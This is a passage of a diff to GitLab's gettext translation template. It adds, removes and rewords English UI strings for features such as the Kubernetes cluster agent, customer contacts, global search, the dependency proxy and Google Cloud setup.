msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
